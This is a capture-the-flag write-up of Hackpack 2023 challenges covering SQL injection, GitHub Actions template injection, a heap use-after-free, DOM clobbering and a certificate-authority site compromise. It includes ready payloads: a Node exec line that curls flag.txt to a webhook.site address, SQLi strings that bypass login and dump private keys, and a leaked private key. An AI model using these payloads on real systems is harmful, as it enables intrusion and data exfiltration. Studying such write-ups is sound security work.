Hackpack 2023 - Jeopardy CTF Walkthrough
CTFtime url of this event: here
Our final placement was 14th out of 381 teams.
In this post, we provide solutions for all the challenges we have solved. The mentioned Author
is not the author of the challenge, but the teammate who solved it.
Cat Me if You Can
Author: Daloski
Description: Restricted shell escape
Category: Misc
Points: 100
Solves: 197
Description
There’s a flag hiding in plain sight, Our cat has been trying to get it for a while now, but it keeps escaping him at the last moment. Can you help him out?
Payload
pr *
, then profit.
WolfHowl
Author: 0xDark
Description: Union-based SQL injection
Category: Web
Points: 100
Solves: 114
Description
Log into WolfHowl to get the flag
wolfhowl.cha.hackpack.club
Payload (one-liner)
curl -s https://wolfhowl.cha.hackpack.club/ --data 'artist=" union select concat(email,":",password),2,3,4 from employee limit 50-- -' | grep -Po 'Artist: .+?<\/p>'
issue-tracker
Author: LL3006
Description: Template injection in Github Actions
Category: Web
Points: 100
Solves: 94
Description
Do you want to know the secret? If yes, post an issue here: https://github.com/hackpackctf/issue-tracker?
Solution
By looking at the implemented Github Action, it’s possible to note that it’s possible to inject code using the template engine of the issues.
The payload is injected in the issue body, like this:
{{ code here }}
The injected code is NodeJS, and the flag is in flag.txt
, so it’s possible to craft a payload like this:
{{ process.mainModule.require("child_process").exec("curl --data-binary '@./flag.txt' https://webhook.site/<webhook_url>") }}
Speed-Rev: Humans
Authors: Shotokhan & Dralute
Description: Fast reversing of mutating binaries
Category: Reverse
Points: 100
Solves: 69
Description
Welcome to the Speed-Rev battle for humans! Connect to the socket! Recive binaries! AND GET! THE! FLAGS!
(There are 5 levels total, 30 minutes until you timeout) Author: Sturmh0nd#1337 nc cha.hackpack.club 41709
Analysis
We interact with the service and we get the first binary, base64-encoded. We decode it and analyze it.
$ file rev_example_0.bin
rev_example_0.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c6c069720972795392822221ae01b4953c899395, not stripped
The general idea is that we have to understand how to reverse this one, then all the others will be mutation of this one so we will have to automate the analysis with respect to possible mutations.
We quickly learn that there is a validate
function and that the return code of the binary is the output of this function. This function just compares the input with a hard-coded string.
The binary analysis can then be automated by looking at the value of the global string holding the correct value to give to the binary. In this challenge, the speed rev is for “humans” because it’s trivial to leak the string using ltrace
:
$ ltrace ./rev_example_0.bin
calloc(17, 1) = 0x5562f37062a0
__isoc99_fscanf(0x7fed5117e800, 0x5562f2260015, 0x5562f37062a0, 0x5562f37062b0asd
) = 1
strncmp("asd", "ovMBnPFwPAbTRl6f", 16) = -14
+++ exited (status 1) +++
$ ./rev_example_0.bin
ovMBnPFwPAbTRl6f
$ echo $?
0
So it’s possible to solve this challenge without automating the interaction.
That was the hypothesis, but after submitting the string, we were given a different kind of binary. Two in a row with array of characters to just combine (example):
- HXUH2ipzsitnRm63
- DWHhEntwRuq57aYp
The fourth was a linear system of equations of the form:
- 1 1 0 .. 0 = b0
- 0 1 1 0 .. 0 = b1
- ..
- 0 .. 0 1 1 = bN
So there is one missing equation, i.e., it is possible to arbitrarily set the first character.
The fifth and the sixth are like the fourth one, but only for a subset of the characters: the others are fixed.
The server filters characters, probably it allows only ASCII letters and digits, and the length must always be 16.
We developed a script to solve the linear system of equations, handling the case of some fixed characters (pad
), and by inserting the coefficients and the fixed characters in the script by hand:
Flag: flag{Human_or_r0b0t_1dk}
.
Number Store
Author: Shotokhan
Description: Heappy menu with Use-After-Free on a PIE executable, with win function
Category: Pwn
Points: 116
Solves: 48
Description
Welcome to Number Store(TM)! A new FREE password manager. However, due to budget constraints we were only able to add support for storing numbers. Store your favorite secret numbers or generate new random ones! Also comes with a super secret flag! nc cha.hackpack.club 41705
Analysis
$ file chal
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cf74f926f56cc8436ca31c4657fe6b1c3bf71930, not stripped
$ checksec chal
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
The prompt is the following:
$ ./chal
WELCOME TO NUMBER STORE
Store your favorite or secret numbers here! You can even generate new random numbers!
Now includes a super secret flag!
1.) Store New Number
2.) Delete Number
3.) Edit Number
4.) Show Number
5.) Show Number List
6.) Generate Random Number
7.) Show Random Number
8.) Show Super Secret Flag
9.) Quit
The list is handled like an array with random access (even if printed like a linked list), and the binary overall behaves like a heappy menu. If you try to edit or show uninitialized entries, you immediately get segmentation fault.
The “show super secret flag” endpoint only prints “access denied”, but in the binary there is a printFlag
win function.
The “store new number” endpoint is based on a function named createStaticNum
, that basically malloc a 24-bytes object (let’s call it static_number
), of which the first 16 are for the name and the other 8 are for the number. The name and the number are read using the function getName
and getUserNum
. The getName
function performs some strange validation on the input, for now we only have to keep in mind that the name is somewhat constrained.
There are managed two lists: one with the references to the allocated objects, another containing only the names of the objects (but not as pointers to the objects: they contain them by copy).
Endpoints 1-4 perform bounds checking on the index on which the object must be stored/deleted/edited/showed, i.e, the index can only be from 0 to 9.
The “delete number” endpoint frees the object but doesn’t null the reference (it only resets the name in the “names list”), so it’s trivial to perform use-after-free on any object: store -> delete -> edit/show
.
The random number generation has a particular handling:
- if no random number has been generated before, it calls a function
createRandomNum
that malloc a 24-bytes object (let’s call itrand_handler
), organized like that (in groups of 8 bytes):| Random number (init to 0) | Previous random number (init to 0) | Pointer to `generateRandNum` function |
- the generated object
rand_handler
is then used: the function pointer (third field) is called to generate a random number, the second field is set equal to the first field, and the first field is set equal to the generated random number; - at this point, the
rand_handler
is not null, so it’s also possible to call the endpoint to show the random number.
Let’s compare the structure of the rand_handler
object with the structure of the static_number
object:
| Random number (init to 0) | Previous random number (init to 0) | Pointer to `generateRandNum` function |
| Name | Number |
Exploitation
TLDR (UAF + malloc first-fit behaviour):
store(index=0, name='', num=0)
;delete(index=0)
;generate_rand()
;pie_leak = show(index=0)
;edit(index=0, num=print_flag_addr)
;generate_rand()
.
I wrote a script for that, but at last I solve it by interacting by hand, because the functions used to get input gave me some problems. From pie_leak
, that is generateRandNum
, to print_flag_addr
, that is printFlag
, you just have to subtract 19 to the number obtained with show
and use the result in edit
.
$ nc cha.hackpack.club 41705
WELCOME TO NUMBER STORE
Store your favorite or secret numbers here! You can even generate new random numbers!
Now includes a super secret flag!
1.) Store New Number
2.) Delete Number
3.) Edit Number
4.) Show Number
5.) Show Number List
6.) Generate Random Number
7.) Show Random Number
8.) Show Super Secret Flag
9.) Quit
Choose option: 1
Enter index of new number (0-9): 0
Enter object name: asd
Enter number: 0
1.) Store New Number
2.) Delete Number
3.) Edit Number
4.) Show Number
5.) Show Number List
6.) Generate Random Number
7.) Show Random Number
8.) Show Super Secret Flag
9.) Quit
Choose option: 2
Enter index of number to delete (0-9): 0
1.) Store New Number
2.) Delete Number
3.) Edit Number
4.) Show Number
5.) Show Number List
6.) Generate Random Number
7.) Show Random Number
8.) Show Super Secret Flag
9.) Quit
Choose option: 6
1804289383
1.) Store New Number
2.) Delete Number
3.) Edit Number
4.) Show Number
5.) Show Number List
6.) Generate Random Number
7.) Show Random Number
8.) Show Super Secret Flag
9.) Quit
Choose option: 4
Select index of number to print (0-9): 0
<some bad bytes>
94422048014935
1.) Store New Number
2.) Delete Number
3.) Edit Number
4.) Show Number
5.) Show Number List
6.) Generate Random Number
7.) Show Random Number
8.) Show Super Secret Flag
9.) Quit
Choose option: 3
Enter index of number to edit (0-9): 0
Enter new number: 94422048014916
1.) Store New Number
2.) Delete Number
3.) Edit Number
4.) Show Number
5.) Show Number List
6.) Generate Random Number
7.) Show Random Number
8.) Show Super Secret Flag
9.) Quit
Choose option: 6
flag{n3v3r_tru5t_fr33_jVmVsEuj}
0
1.) Store New Number
2.) Delete Number
3.) Edit Number
4.) Show Number
5.) Show Number List
6.) Generate Random Number
7.) Show Random Number
8.) Show Super Secret Flag
9.) Quit
Choose option: 9
Speed-Rev: Bots
Authors: Shotokhan & Dralute
Description: Automated reversing of mutating binaries
Category: Reverse
Points: 205
Solves: 41
Description
Welcome to the Speed-Rev battle for your bots! Connect to the socket! Recive binaries! AND GET! THE! FLAGS!
(There are 6 levels total, you have 3 minutes to complete them all) Author: Sturmh0nd#1337 nc cha.hackpack.club 41702
Solution
Binaries look like the same of “Speed-Rev: Humans”, the difference is that now the analysis must be automated.
We used offsets in the binary for the first three levels, then regex on instruction opcodes for the last levels to get the values (such as the immediate character values or the coefficients of the linear system of equations).
In particular, for the last two levels, we used regexes also to differentiate between the immediate value of a character and the sum between two characters. Then, we used the values as constraints for the z3
solver.
More specifically, in the fourth binary the compare instructions in the validate
function are in one of the two following forms:
3d <byte> 00 00 00
;83 f3 <byte>
.
Therefore, it’s easy to have a regex that implements a logical OR and then differentiate the two cases to get the byte
, which will be a coefficient of the linear system. The regex is (\x3d.\x00\x00\x00|\x83\xf8.)
.
In the fifth and sixth binaries, there are two cases:
- immediate value of a character, always implemented by comparing
AL
instead ofEAX
(the fourth binary usedEAX
), so the instruction bytes are of the form3c <byte>
; - sum between two characters, that always have
ADD EAX, EDX
followed by a compare, and the form is always01 d0
for theADD
, while it can be3d <byte> 00 00 00
or83 f8 <byte>
for the compare (slightly different from the fourth binary).
The regex for these last two binaries is therefore (\x01\xd0\x3d.\x00\x00\x00|\x01\xd0\x83\xf8.|\x3c.)
: by including the ADD
in the regex, we are sure that the first two cases of the logical OR are related to the sum of two characters.
You can look at the script here:
$ python script.py
[+] Opening connection to cha.hackpack.club on port 41702: Done
[*] Switching to interactive mode
Congrats! Here is your flag!
flag{speedruns_are_aw3s0m3_4nd_4ll}
[*] Got EOF while reading in interactive
$
HackerChat
Author: Tiugi
Description: SQL injection to leak key to break authentication
Category: Web
Points: 304
Solves: 24
Description
HackerChat is the hottest new chat app for hackers. Can you recover the secret message sent to the HackerChat admin?
Solution (TLDR)
There is a search API, which is vulnerable to SQL injection. By performing the SQLi, it’s possible to leak the key used to sign access tokens (JWT), then it’s possible to authenticate as admin, getting access to the flag.
Wiki world
Author: 0xDark
Description: Pastebin vulnerable to DOM Clobbering
Category: Web
Points: 416
Solves: 21
Description
Can you alpha test out our newest note-taking website? (If you find anything, please report it to us using nc cha.hackpack.club 8702)
Also unrelatedly, our website admin is really fond of the wiki-world extension, he uses it all the time, even on his work computer.
I should probably get him to stop using it tho, it hasn’t been approved by IT yet.
Writeup
The web app is a pastebin.
It’s possible to report URLs, which are then visited using Puppeteer
. The bot is configured such to load a custom extension.
The extension look in the page some text according to a regex called WIKI_REGEX
, and then performs search on Wikipedia, whose URL is defined by a variable called WIKIPEDIA_SERVER
.
These variables are accessed through window.config.*
, then we can overwrite them using a technique called DOM Clobbering.
Note that the flag is inserted in the path of the request to Wikipedia generated by the Puppeteer
extension, so if we manage to force the bot to make a request to an attacker-controlled endpoint instead of Wikipedia, we will get the flag.
The payload that we use in our note is:
We use this form, with the tags a
and BLOB
, because they are in the whitelist of DOMPurify
.
So the final payload, i.e., the URL to report to admin, is:
http://website:5000/#PGEgaWQ9Y29uZmlnPjxhIGlkPWNvbmZpZyBuYW1lPVdJS0lQRURJQV9TRVJWRVIgaHJlZj0iaHR0cHM6Ly93ZWJob29rLnNpdGUvIj4KPGEgaWQ9Y29uZmlnPjxhIGlkPWNvbmZpZyBuYW1lPVdJS0lfUkVHRVggaHJlZj0iQkxPQjooLiopIj4=
MasterShackle
Author: LL3006
Description: "Certification Authority"-like website with multiple vulnerabilities, leading to broken authentication and private key leak
Category: Web
Points: 493
Solves: 8
Description
Hello everyone, this is the Shackle Breaking Barrister!
As I’ve covered in many of my MeTube videos, you’ll know that MasterShackle locks are among the worst I’ve ever featured on my channel. Unfortunately, they’ve redesigned their website and are now calling it ‘impregnable’, and security level ‘11’.
While I am very good at picking locks, I heard you are very good at hacking into websites, so I was hoping you could help me show that they are just as bad at web security as they are at physical security!
As always, thanks for watching, and if you have any questions or comments, please feel free to reach out! mastershackle.cha.hackpack.club
Writeup
Step 1. Index
First step is to open up mastershackle.cha.hackpack.club. From the headers we find it’s a PHP website. We can see that the main page is very simple but has 3 interesting things.
The /flag
endpoint. Here where we find the first mention of the “MaserCrypt” system and the final objective of the challenge, that is to sign an arbitrary payload and provide a valid certificate.
The “/crypto4kidz
” endpoint. This is a static page with a few caesar ciphers.
The /testimonials?path=testimonials.json
endpoint. This loads the data for the “glowing recommendations” on the bottom of the page.
Step 2. /crypto4kidz
The ciphers present on the page decode to
THE FLAG IS FLAG OPEN SQUARE BRACES DLFIEGJIWNGIIEGI CLOSE SQUARE BRACE
HA MADE YOU LOOK
ALWAYS USE A LOCK TO SECURE YOUR VALUABLES
A WISE MAN USES THE MASTERSHACKLE ONE PIN MODEL TO SECURE THE ARMORY
THE URL FOR THE CA IS AT MASTERSHACKLE DOT CHA DOT HACKPACK DOT CLUB SLASH MASTERCRYPT
The only relevant one is the last message, which hints us at a /mastercrypt endpoint.
Step 3. /testimonials
At a first glance this seems like simple path traversal but it just defaults to testimonials.json
most of the time.
Except when we break it. Enter the laravel debug page.
We first discovered this by passing an array as the path (/testimonials?path[]=
). As it turns out, this website is a laravel app with APP_DEBUG=true
so we can use the nicely rendered error pages to read the source code surrounding the error.
From the /testimonials?path[]=
error page we notice that while a full path traversal is impossible, we can generate another error in the file_get_contents
call if the path is a directory. This is simple as navigating to /testimonials?path=.
.
In the source code leaked from this page, we can find a very interesting function
This lists files from the resources
folder (which is the only one accessible through the /testimonials
endpoint).
After four hours and a few guesses, we found the correct endpoint for the function to be /cmd
.
This returns
total 32
drwxrwxr-x 7 sail sail 4096 Apr 14 04:50 .
drwxrwxr-x 13 sail sail 4096 Apr 14 21:56 ..
drwxrwxr-x 6 sail sail 4096 Apr 14 04:50 ca
-rw-rw-r-- 1 sail sail 32 Apr 14 04:50 ca.token
drwxrwxr-x 2 sail sail 4096 Apr 14 04:50 css
drwxrwxr-x 2 sail sail 4096 Apr 14 04:50 js
drwxrwxr-x 2 sail sail 4096 Apr 14 04:50 testimonials
drwxrwxr-x 2 sail sail 4096 Apr 14 21:56 views
drwxrwxr-x 2 sail sail 4096 Apr 14 21:56 views
ca.token
looks interesting, and we can get it with /testimonials?path=../ca.token
.
a0c6d51083a505ff45ad8d12c42bcb04
Step 4. /mastercrypt
(redirect)
Remember the /mastercrypt
endpoint from the last cipher? At a first glance it looks like a redirect to the main page but upon closer inspection of the redirect headers we find
$ curl --head https://mastershackle.cha.hackpack.club/mastercrypt
HTTP/2 302
cache-control: no-cache, private
content-type: text/html; charset=UTF-8
date: Sat, 15 Apr 2023 16:07:49 GMT
date: Sat, 15 Apr 2023 16:07:49 GMT
errormessage: No cookie named token was passed, or the value was not correct!
host: mastershackle.cha.hackpack.club
[...]
So a cookie named token
is needed. And we just happen to have already found its value to be a0c6d51083a505ff45ad8d12c42bcb04
. After setting the cookie, we can navigate to the real /mastercrypt
page.
Step 5. /mastercrypt
(login)
We have no credentials but we already know the trick: name=password[]
instead of name=password
in the /login
form gives us another information-dense error page to look at.
This is just a simple SQLi, and setting " OR "1"="1
as both username and password dumps all the users.
Then we can choose log as say, f21f1d8
by setting
username
f21f1d8
and
password
" OR `username` = "f21f1d8
and voilà, we’re logged in.
Step 6. /mastercrypt
(exploration)
Now that we are logged in, we can look around the page and explore the functions that aren’t disabled.
From /mastercrypt/listCAs
we find that there are 3 CAs, and we’re obviously intrested in the 3rd, MasterShackle Flag SubCA
.
In /mastercrypt/CADetails
we can list all the users in a CA. While the <select>
tag only has the one we’re part of, by changing the option value to 3
we can find the users in the MasterShackle Flag SubCA
. Turns out to be only 6f9fa47
.
In /mastercrypt/issuecert
we can issue certificates for our SubCAs
given a Certificate Signing Request (CSR
). While we can generate one with openssl we must use the MasterShackle Flag SubCA
private key in order for it to work trust me I’ve tried.
Then we have /mastercrypt/sign
which just signes arbitrary data. But, even here, we still need a key…
Step 7. /mastercrypt
(WhEre KeY?)
The key endpoints are all disabled but we can recover the private keys with some more SQL injections in the /mastercrypt/login
page.
As long as there is more than one user, the page dumps all the collection. We can abuse this behaviour by setting username
to garbage and password
to
" OR `id`=1 UNiON SELECT 0,1,2,3,4 WHERE "1"="1
The fourth field is the user password and is not shown, while the field that’s interpreted as a string is 1, which corresponds to the username.
(The casing in the UNION
keyword is used to bypass the filter.)
By querying information_schema.tables
we can get a list of tables and then we can list the columns with information_schema.columns
.
Eventually we end up with a query that looks like this
" OR `id`=1 UNiON SELECT `id`,`private_key`,NULL,NULL,NULL FROM CA WHERE "1"="1
And we can dump the private keys from all the CAs.
We’re particularly intrested in the 3rd one, which (formatted) is
-----BEGIN PRIVATE KEY-----
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
ylpvuoJWZ1bRqJY4tNdXTTS/023foHnuTQ==
-----END PRIVATE KEY-----
Step 8. Summing it all up
Now we’re finally ready to complete the challenge.
Firstly we generate a CSR with
$ openssl req -new -key pkey.key
Where pkey.key is a file containing the MasterShackle Flag SubCA
private key.
With this we can navigate to /mastercrypt/issuecert
and generate a certificate. We must be logged in with the correct username in order to select the MasterShackle Flag SubCA
from the dropdown.
Then, we navigate to the /flag
page. We copy the data and pass it to /mastercrypt/sign
along with the MasterShackle Flag SubCA
private key. This output is ‘Signed data’ that goes into /flag
.
Once we have the certificate and the signed data we can go back to the /flag
page, paste them in and get the flag
flag{Upfmnhx1/KsMmrxfYGiLLTicLvMc2YTqV4ivOHWTIsKHqcUsJIuOTFJ2njd2ueOCgf7jrIVahuyU948z3lUM2A==}